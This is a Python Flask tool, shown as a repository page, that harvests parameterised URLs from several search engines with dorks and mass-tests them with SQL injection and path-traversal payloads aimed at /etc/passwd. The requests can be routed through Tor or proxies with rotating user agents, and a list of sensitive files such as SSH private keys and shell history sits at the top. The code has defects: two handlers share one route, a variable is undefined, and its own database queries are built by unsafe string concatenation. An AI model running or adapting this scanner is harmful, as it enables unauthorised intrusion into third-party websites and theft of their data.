-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathmain.py
1315 lines (1130 loc) · 53.7 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import re
import time
import json
import random
import sqlite3
import urllib3
import argparse
import datetime
from ipwhois import IPWhois
from bs4 import BeautifulSoup
from json2html import json2html
from urllib.parse import urlparse
from urllib3 import Timeout, Retry
from urllib3.contrib.socks import SOCKSProxyManager
from flask import Flask, render_template, url_for, request, Response
from multiprocessing import Pool, freeze_support, Manager
app = Flask(__name__)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--tor", help="enable tor proxy", action='store_true')
parser.add_argument("-p", "--proxy", help="enable socks5 proxy", action='store_true')
parser.add_argument("-v", "--verbose", help="enable verbose mode", action='store_true')
args = parser.parse_args()
m = Manager()
proxy_list = m.list()
lfi_brute_data = m.list()
technologies_info = []
domains_list = []
clean_links = []
found_proxy = []
open_ports = []
links_buf = []
lfi_fuzz = []
url_list = []
links = []
dorker_urls = '''INSERT OR IGNORE INTO dorker_urls VALUES (?, ?, ?)'''
urls_to_check = '''INSERT OR IGNORE INTO urls_to_check VALUES (?, ?)'''
home_files = ["/.ssh/id_rsa",
"/.ssh/known_hosts",
"/.bash_history",
"/.bash_logout",
"/.bashrc",
"/.bashrc.original",
"/.python_history",
"/.zsh_history",
"/.zshrc",
"/.htaccess",
"/.htpasswd",
"/.access.log",
"/.error.log",
"/robots.txt",
"/index.php",
"/index.html",
"/publichtml/www/.htaccess",
"/publichtml/.htaccess",
"/public_html/www/.htaccess",
"/public_html/.htaccess",
"/_public_html/www/.htaccess",
"/_public_html/.htaccess",
"/public_html_/www/.htaccess",
"/public_html_/.htaccess",
"/_public_html_/www/.htaccess",
"/_public_html_/.htaccess",
"/public_html/www1/.htaccess",
"/public_html/.htaccess",
"/_public_html/www1/.htaccess",
"/_public_html/.htaccess",
"/public_html_/www1/.htaccess",
"/public_html_/.htaccess",
"/_public_html_/www1/.htaccess",
"/_public_html_/.htaccess",
"/public_html/www2/.htaccess",
"/public_html/.htaccess",
"/_public_html/www2/.htaccess",
"/_public_html/.htaccess",
"/public_html_/www2/.htaccess",
"/public_html_/.htaccess",
"/_public_html_/www2/.htaccess",
"/_public_html_/.htaccess",
"/public_html/www3/.htaccess",
"/public_html/.htaccess",
"/_public_html/www3/.htaccess",
"/_public_html/.htaccess",
"/public_html_/www3/.htaccess",
"/public_html_/.htaccess",
"/_public_html_/www3/.htaccess",
"/_public_html_/.htaccess",
"/publichtml/index.php",
"/publichtml/index.html",
"/public_html/index.php",
"/public_html/index.html",
"/public_html_/index.php",
"/public_html_/index.html",
"/_public_html_/index.php",
"/_public_html_/index.html",
"/httpdocs/.htaccess",
"/httpdocs/.htpasswd",
"/httpdocs/index.php",
"/httpdocs/index.html"]
lfi_payloads = [
r'/etc/passwd',
r'/etc/passwd%00',
r'../../../../../../../../../../../../../../../../../etc/passwd',
r'../../../../../../../../../../../../../../../../../etc/passwd%00',
r'/var/www/../../etc/passwd',
r'..///////..////..//////etc/passwd',
r'/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd',
r'....\/....\/....\/etc/passwd',
r'%252e%252e%252f%252e%252e%252fetc%252fpasswd',
r'%252e%252e%252f%252e%252e%252fetc%252fpasswd%00',
r'..%c0%af..%c0%af..%c0%afetc%c0%afpasswd']
sqli_payloads = [
r"'",
r"' OR 1=0#",
r"' OR 1=0 --%20",
r"' AND 1=0#",
r"' AND 1=0 --%20",
r"' ORDER BY 9999#",
r"' ORDER BY 9999 --%20",
r" OR 1=0#",
r" OR 1=0 --%20",
r" AND 1=0#",
r" AND 1=0 --%20",
r" ORDER BY 9999#",
r" ORDER BY 9999 --%20"]
sqli_errors = [
"You have an error in your SQL syntax",
"Warning: mysql_fetch_array()",
"Error Occurred While Processing Request",
"Call to undefined function mysql_error"]
ua = ['Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65',
'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)',
'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)']
def splitter(url):
if "=" in url and len(url.split("?")) == 2:
try:
u = url.split("=")
if len(u) == 2:
link1 = u[0] + "=PARAM"
param1 = u[1]
if link1 not in links_buf:
links_buf.append(link1)
clean_links.append([link1, param1])
elif len(u) == 3:
link2 = u[0] + "=PARAM&" + u[1].split("&")[1] + "=PARAM"
param2 = u[1].split("&")[0] + ":" + u[2]
if link2 not in links_buf:
links_buf.append(link2)
clean_links.append([link2, param2])
elif len(u) == 4:
link3 = u[0] + "=PARAM&" + u[1].split("&")[1] + "=PARAM&" + u[2].split("&")[1] + "=PARAM"
param3 = u[1].split("&")[0] + ":" + u[2].split("&")[0] + ":" + u[3].split("&")[0]
if link3 not in links_buf:
links_buf.append(link3)
clean_links.append([link3, param3])
elif len(u) == 5:
link4 = u[0] + "=PARAM&" + u[1].split("&")[1] + "=PARAM%" + u[2].split("&")[1] + "=PARAM%" + \
u[3].split("&")[1] + "=PARAM"
param4 = u[1].split("&")[0] + ":" + u[2].split("&")[0] + ":" + u[3].split("&")[0] + ":" + \
u[4].split("&")[0]
if link4 not in links_buf:
links_buf.append(link4)
clean_links.append([link4, param4])
except Exception as ex:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + url)
def connector(url):
try:
u = url[0].split("PARAM")
params = url[1].split(":")
if len(u) == 2:
link2 = u[0] + params[0]
links_buf.append(link2)
elif len(u) == 3:
link3 = u[0] + params[0] + u[1] + params[1]
links_buf.append(link3)
elif len(u) == 4:
link4 = u[0] + params[0] + u[1] + params[1] + u[2] + params[2]
links_buf.append(link4)
elif len(u) == 5:
link5 = u[0] + params[0] + u[1] + params[1] + u[2] + params[2] + u[3] + params[3]
links_buf.append(link5)
except Exception as ex:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + url)
def header_gen():
header = {
'User-agent': random.choice(ua),
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'keep-alive'}
try:
if args.tor:
http = SOCKSProxyManager("socks5h://127.0.0.1:9050", headers=header, cert_reqs=False, num_pools=30)
elif args.proxy:
if len(proxy_list) >= 1:
http = SOCKSProxyManager("socks5h://" + str(random.choice(proxy_list)), headers=header, cert_reqs=False,
num_pools=30)
else:
http = urllib3.PoolManager(headers=header, cert_reqs=False, num_pools=30)
except Exception as ex:
print(str(ex))
http = urllib3.PoolManager(headers=header, cert_reqs=False, num_pools=30)
return http
def builtwith(u, headers=None, html=None):
techs = {}
# Check URL
for app_name, app_spec in data['apps'].items():
if 'url' in app_spec:
if contains(u, app_spec['url']):
add_app(techs, app_name, app_spec)
# Download content
if None in (headers, html):
try:
req = header_gen().request("GET", u, retries=Retry(2), timeout=Timeout(5))
if headers is None:
headers = req.headers
if html is None:
try:
ht = BeautifulSoup(req.data, features="html.parser")
html = ht.prettify()
except Exception as exc:
print(str(exc))
html = req.data.decode("latin-1")
except Exception as e:
print('Error:', e)
# Check headers
if headers:
for app_name, app_spec in data['apps'].items():
if 'headers' in app_spec:
if contains_dict(headers, app_spec['headers']):
add_app(techs, app_name, app_spec)
# Check html
if html:
for app_name, app_spec in data['apps'].items():
for key in 'html', 'script':
snippets = app_spec.get(key, [])
if not isinstance(snippets, list):
snippets = [snippets]
for snippet in snippets:
if contains(html, snippet):
add_app(techs, app_name, app_spec)
break
# check meta
# XXX add proper meta data parsing
if isinstance(html, bytes):
html = html.decode()
metas = dict(re.compile('<meta[^>]*?name=[\'"]([^>]*?)[\'"][^>]*?content=[\'"]([^>]*?)[\'"][^>]*?>',
re.IGNORECASE).findall(html))
for app_name, app_spec in data['apps'].items():
for name, content in app_spec.get('meta', {}).items():
if name in metas:
if contains(metas[name], content):
add_app(techs, app_name, app_spec)
break
return techs
def add_app(techs, app_name, app_spec):
for category in get_categories(app_spec):
if category not in techs:
techs[category] = []
if app_name not in techs[category]:
techs[category].append(app_name)
implies = app_spec.get('implies', [])
if not isinstance(implies, list):
implies = [implies]
for app_name in implies:
add_app(techs, app_name, data['apps'][app_name])
def get_categories(app_spec):
return [data['categories'][str(c_id)] for c_id in app_spec['cats']]
def contains(v, regex):
if isinstance(v, bytes):
v = v.decode()
if len(v) > 870000:
string_len = len(v)
part_size = string_len // 1000
step = part_size
for _ in range(string_len // part_size):
part = v[:step]
v = v[step - 1:]
step += part_size
if step > string_len:
break
res = re.compile(regex.split('\\;')[0], flags=re.IGNORECASE).search(part)
if res:
return res
else:
return re.compile(regex.split('\\;')[0], flags=re.IGNORECASE).search(v)
def contains_dict(d1, d2):
for k2, v2 in d2.items():
v1 = d1.get(k2)
if v1:
if not contains(v1, v2):
return False
else:
return False
return True
@app.route("/cmsinfo")
def technologies():
global technologies_info
url = request.args.get("url", default="none", type=str)
technologies_info.clear()
if url != "none":
if "," in url:
urls = url.split(",")
for u in urls:
print("\n" + str(u))
technologies_info = builtwith(u)
for i in sorted(technologies_info.items()):
print('%s: %s' % i)
# info.append('%s: %s' % i)
else:
technologies_info = builtwith(url)
for i in sorted(technologies_info.items()):
print('%s: %s' % i)
# info.append('%s: %s' % i)
return render_template("tools.html", data=json2html.convert(json=json.dumps(technologies_info, indent=4)),
tool="Site technologies")
@app.route("/cmsinfo")
def cms_info():
url = request.args.get("site", default="none", type=str)
info = []
info.clear()
cms_inf = ''
if url != "none":
if "," in url:
urls = url.split(",")
for u in urls:
print("\n" + str(u))
cms_inf = builtwith(u)
for i in sorted(cms_inf.items()):
print('%s: %s' % i)
info.append(cms_inf)
return render_template("tools.html", data=json2html.convert(json=json.dumps(info, indent=4)),
tool="Site technologies")
else:
cms_inf = builtwith(url)
for i in sorted(cms_inf.items()):
print('%s: %s' % i)
return render_template("tools.html", data=json2html.convert(json=json.dumps(cms_inf, indent=4)),
tool="Site technologies")
@app.route("/whois")
def whois():
ip = request.args.get("ip", default="none", type=str)
result = {}
if ip != "none":
info = IPWhois(ip).lookup_rdap(depth=1)
result['info'] = info
entity = info['entities'][0]
result['entity'] = entity
name = info['objects'][entity]['contact']['name']
result['name'] = name
print(json.dumps(result, indent=4))
return render_template("tools.html", data=json2html.convert(json=json.dumps(result, indent=4)), tool="Whois")
def dorker(dork):
db = sqlite3.connect("dorker.db")
sql = db.cursor()
sql.execute('''CREATE TABLE IF NOT EXISTS dorker_urls (date_ TEXT, dork_ TEXT, url_ TEXT PRIMARY KEY)''')
sql.execute('''CREATE TABLE IF NOT EXISTS urls_to_check (date_ TEXT, url_ TEXT PRIMARY KEY)''')
db.commit()
for page in range(1, 16):
time.sleep(0.2)
# SEARCH-RESULTS.COM
try:
send1 = header_gen().request("GET", "http://www1.search-results.com/web?q=" + dork + "&page=" + str(page),
retries=Retry(3), timeout=Timeout(6))
try:
parsing1 = BeautifulSoup(send1.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")
parsing1 = BeautifulSoup(send1.data.decode('latin-1'), features="html.parser")
for url in parsing1.find_all("cite"):
if url.string:
if "http" in str(url.string):
url_string = str(url.string)
print(url_string)
else:
url_string = "http://" + str(url.string)
print(url_string)
if "=" in str(url_string):
sql.execute(urls_to_check, (str(datetime.date.today()), str(url_string)))
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
else:
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
except Exception as ex:
print("\nError:\n" + str(ex) + "\nEngine: SEARCH-RESULTS.COM\n")
# SEARCH.AUONE.JP
try:
send2 = header_gen().request("GET", "https://search.auone.jp/?q=" + dork + "&ie=UTF-8&page=" + str(page),
retries=Retry(3), timeout=Timeout(6))
try:
parsing2 = BeautifulSoup(send2.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")
parsing2 = BeautifulSoup(send2.data.decode('latin-1'), features="html.parser")
for u in parsing2.find_all("h2", class_="web-Result__site u-TextEllipsis"):
if u:
for url in u.find_all("a"):
if url.get('href'):
if "http" in str(url.get("href")):
url_string = str(url.get('href'))
print(url_string)
else:
url_string = "http://" + str(url.get('href'))
print(url_string)
if "=" in str(url_string):
sql.execute(urls_to_check, (str(datetime.date.today()), str(url_string)))
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
else:
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
except Exception as ex:
print("\nError:\n" + str(ex) + "\nEngine: SEARCH.AUONE.JP\n")
# LITE.QWANT.COM
try:
send3 = header_gen().request("GET", "https://lite.qwant.com/?q=" + dork + "&p=" + str(page),
retries=Retry(3), timeout=Timeout(6))
try:
parsing3 = BeautifulSoup(send3.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")
parsing3 = BeautifulSoup(send3.data.decode('latin-1'), features="html.parser")
for url in parsing3.find_all("p", class_="url"):
if url.string:
if "http" in str(url.string.replace(" ", "")):
url_string = str(url.string.replace(" ", ""))
print(url_string)
else:
url_string = "http://" + str(url.string.replace(" ", ""))
print(url_string)
if "=" in str(url_string):
sql.execute(urls_to_check, (str(datetime.date.today()), str(url_string)))
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
else:
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
except Exception as ex:
print("\nError:\n" + str(ex) + "\nEngine: LITE.QWANT.COM\n")
# SEARCH.LILO.ORG
try:
send4 = header_gen().request("GET", "https://search.lilo.org/?q=" + dork + "&date=All&page=" + str(page),
retries=Retry(3), timeout=Timeout(6))
try:
parsing4 = BeautifulSoup(send4.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")
parsing4 = BeautifulSoup(send4.data.decode('latin-1'), features="html.parser")
for url in parsing4.find_all("a", class_="resulturl d-block"):
if url.get('href'):
if "http" in str(url.get("href")):
url_string = str(url.get('href'))
print(url_string)
else:
url_string = "http://" + str(url.get('href'))
print(url_string)
if "=" in str(url_string):
sql.execute(urls_to_check, (str(datetime.date.today()), str(url_string)))
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
else:
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
except Exception as ex:
print("\nError:\n" + str(ex) + "\nEngine: SEARCH.LILO.ORG\n")
# INT.SEARCH.MYWEBSEARCH.COM
try:
send5 = header_gen().request("GET", "https://int.search.mywebsearch.com/mywebsearch/GGmain.jhtml?searchfor="
+ dork + "&pn=" + str(page), retries=Retry(3), timeout=Timeout(6))
try:
parsing5 = BeautifulSoup(send5.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")
parsing5 = BeautifulSoup(send5.data.decode('latin-1'), features="html.parser")
for url in parsing5.find_all("cite"):
if url.string:
if "http" in url.string:
url_string = url.string
print(url_string)
else:
url_string = "http://" + url.string
print(url_string)
if "=" in str(url_string):
sql.execute(urls_to_check, (str(datetime.date.today()), str(url_string)))
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
else:
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
except Exception as ex:
print("\nError:\n" + str(ex) + "\nEngine: INT.SEARCH.MYWEBSEARCH.COM\n")
# KVASIR.NO
try:
send6 = header_gen().request("GET", "https://www.kvasir.no/alle?offset=" + str(page * 10) + "&q=" + dork,
retries=Retry(3), timeout=Timeout(6))
try:
parsing6 = BeautifulSoup(send6.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")
parsing6 = BeautifulSoup(send6.data.decode('latin-1'), features="html.parser")
for url in parsing6.find_all("p", class_="Source-sc-3jcynm-0 kBIaaJ"):
if url.string:
if "http" in url.string:
url_string = url.string
print(url_string)
else:
url_string = "http://" + url.string
print(url_string)
if "=" in url_string:
sql.execute(urls_to_check, (str(datetime.date.today()), str(url_string)))
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
else:
sql.execute(dorker_urls, (str(datetime.date.today()), str(dork), str(url_string)))
db.commit()
except Exception as ex:
print("\nError:\n" + str(ex) + "\nEngine: KVASIR.NO\n")
db.close()
@app.route("/dorker")
def dorker_route():
dorks = request.args.get("dorks", default="none", type=str)
db = sqlite3.connect("dorker.db")
sql = db.cursor()
sql.execute('''CREATE TABLE IF NOT EXISTS dorker_urls (date_ TEXT, dork_ TEXT, url_ TEXT PRIMARY KEY)''')
db.commit()
if dorks != "none":
dorks_list = dorks.split(",")
print(dorks_list)
pool = Pool(len(dorks_list))
pool.map(dorker, dorks_list)
pool.close()
pool.join()
return render_template("tools.html", data=sql.execute(r"SELECT * FROM dorker_urls ORDER BY date_ DESC LIMIT 100"),
tool="Dorker")
def lfi_checker(site):
db = sqlite3.connect("dorker.db")
sql = db.cursor()
sql.execute('''CREATE TABLE IF NOT EXISTS vuln_urls (date_ TEXT, url_ TEXT PRIMARY KEY)''')
db.commit()
today = datetime.date.today()
if "=" in site:
number_of_parameters = len(site.split("="))
if number_of_parameters == 2 or number_of_parameters >= 4 or len(site.split("?")) >= 3:
for exploit in lfi_payloads:
if args.verbose:
print("Trying payload: " + exploit + "\nFor URL: " + site)
try:
# Request with payload
url1 = site.split("=")[0] + "=" + exploit
http_request1 = header_gen().request("GET", url1, retries=Retry(3), timeout=Timeout(6))
try:
http_response1 = str(http_request1.data.decode("utf-8"))
except Exception as ex:
if "codec can't decode byte" in str(ex):
http_response1 = str(http_request1.data.decode("latin-1"))
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
if "root:" in http_response1:
print("[*] URL seems vulnerable to LFI: " + url1)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url1))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
elif number_of_parameters == 3:
for exploit in lfi_payloads:
if args.verbose:
print("Trying payload: " + exploit + "\nFor URL: " + site)
try:
# Request with payload
url2 = site.split("&")[0] + "&" + site.split("&")[1].split("=")[0] + "=" + exploit
http_request2 = header_gen().request("GET", url2, retries=Retry(3), timeout=Timeout(6))
try:
http_response2 = str(http_request2.data.decode("utf-8"))
except Exception as ex:
if "codec can't decode byte" in str(ex):
http_response2 = str(http_request2.data.decode("latin-1"))
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
if "root:" in http_response2:
print("[*] URL seems vulnerable to LFI: " + url2)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url2))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
try:
# Request with payload
url3 = site.split("&")[0].split("=")[0] + "=" + exploit + "&" + site.split("&")[1]
http_request3 = header_gen().request("GET", url3, retries=Retry(3), timeout=Timeout(6))
try:
http_response3 = str(http_request3.data.decode("utf-8"))
except Exception as ex:
if "codec can't decode byte" in str(ex):
http_response3 = str(http_request3.data.decode("latin-1"))
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
if "root:" in http_response3:
print("[*] URL seems vulnerable to LFI: " + url3)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url3))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
try:
# Request with payload
url4 = site.split("=")[0] + "=" + exploit
http_request4 = header_gen().request("GET", url4, retries=Retry(3), timeout=Timeout(6))
try:
http_response4 = str(http_request4.data.decode("utf-8"))
except Exception as ex:
if "codec can't decode byte" in str(ex):
http_response4 = str(http_request4.data.decode("latin-1"))
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
if "root:" in http_response4:
print("[*] URL seems vulnerable to LFI: " + url4)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url4))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
try:
# Request with payload
url5 = site.split("?")[0] + "?" + site.split("&")[1].split("=")[0] + "=" + exploit
http_request5 = header_gen().request("GET", url5, retries=Retry(3), timeout=Timeout(6))
try:
http_response5 = str(http_request5.data.decode("utf-8"))
except Exception as ex:
if "codec can't decode byte" in str(ex):
http_response5 = str(http_request5.data.decode("latin-1"))
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
if "root:" in http_response5:
print("[*] URL seems vulnerable to LFI: " + url5)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url5))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
else:
print("[!] Skipping: " + site)
def sqli_checker(site):
db = sqlite3.connect("dorker.db")
sql = db.cursor()
sql.execute('''CREATE TABLE IF NOT EXISTS vuln_urls (date_ TEXT, url_ TEXT PRIMARY KEY)''')
db.commit()
today = datetime.date.today()
if "=" in site:
if len(site.split("=")) == 2 or len(site.split("=")) >= 4 or len(site.split("?")) >= 3:
for exploit in sqli_payloads:
if args.verbose:
print("Trying payload: " + exploit + "\nFor URL: " + site)
try:
# Request with payload
url1 = site + exploit
send1 = header_gen().request("GET", url1, retries=Retry(3), timeout=Timeout(6))
try:
p1 = BeautifulSoup(send1.data.decode("utf-8"), features="html.parser")
except Exception as ex:
if "codec can't decode byte" in str(ex):
p1 = BeautifulSoup(send1.data.decode("latin-1"), features="html.parser")
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
for error in sqli_errors:
if error in p1:
print("[*] URL seems vulnerable to SQLi: " + site + exploit)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url1))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
elif len(site.split("=")) == 3:
for exploit in sqli_payloads:
if args.verbose:
print("Trying payload: " + exploit + "\nFor URL: " + site)
try:
# Request with payload
url2 = site.split("&")[0] + exploit + "&" + site.split("&")[1]
send2 = header_gen().request("GET", url2, retries=Retry(3), timeout=Timeout(6))
try:
p2 = BeautifulSoup(send2.data.decode("utf-8"), features="html.parser")
except Exception as ex:
if "codec can't decode byte" in str(ex):
p2 = BeautifulSoup(send2.data.decode("latin-1"), features="html.parser")
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
for error in sqli_errors:
if error in p2:
print("[*] URL seems vulnerable to SQLi: " + url2)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url2))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
try:
# Request with payload
url3 = site + exploit
send3 = header_gen().request("GET", url3, retries=Retry(3), timeout=Timeout(6))
try:
p3 = BeautifulSoup(send3.data.decode("utf-8"), features="html.parser")
except Exception as ex:
if "codec can't decode byte" in str(ex):
p3 = BeautifulSoup(send3.data.decode("latin-1"), features="html.parser")
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
for error in sqli_errors:
if error in p3:
print("[*] URL seems vulnerable to SQLi: " + url3)
sql.execute('''INSERT OR IGNORE INTO vuln_urls VALUES (?, ?)''', (str(today), url3))
db.commit()
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
print("[!] Max retries exceeded with URL: %s" % site)
else:
print("\n[!] Exception: " + str(ex) + "\n With URL: " + site)
else:
print("[!] Skipping: " + site)
@app.route("/sqli_lfi")
def sqli_lfi():
global links, clean_links, links_buf
limit = request.args.get("limit", default="none", type=str)
links.clear()
clean_links.clear()
links_buf.clear()
db = sqlite3.connect("dorker.db")
sql = db.cursor()
sql.execute('''CREATE TABLE IF NOT EXISTS vuln_urls (date_ TEXT, url_ TEXT PRIMARY KEY)''')
db.commit()
if limit != "none":
# SELECT url_ FROM dorker_urls WHERE url_ LIKE '%=%'
for site in sql.execute("""SELECT url_ from urls_to_check ORDER BY date_ DESC LIMIT """ + limit):
if "=" in site[0]:
if site[0] not in links:
links.append(site[0])
print("\nURLs from database:\n")
for link in links:
print(link)
for link in links:
splitter(link)
links_buf.clear()
for link in clean_links:
connector(link)
print("\nURLs that will be tested:\n")
for link in links_buf:
print(link)
print("\nSQLi\n")
pool = Pool(len(links_buf) // 2)
pool.map(sqli_checker, links_buf)
pool.close()
pool.join()
print("\nLFI\n")
pool = Pool(len(links_buf) // 2)
pool.map(lfi_checker, links_buf)
pool.close()
pool.join()
print("\n\n\nDeleting old links...")
for site in links:
sql.execute("""DELETE FROM urls_to_check WHERE url_ = '""" + str(site) + "'")
db.commit()
print("\n\n\nDone!")
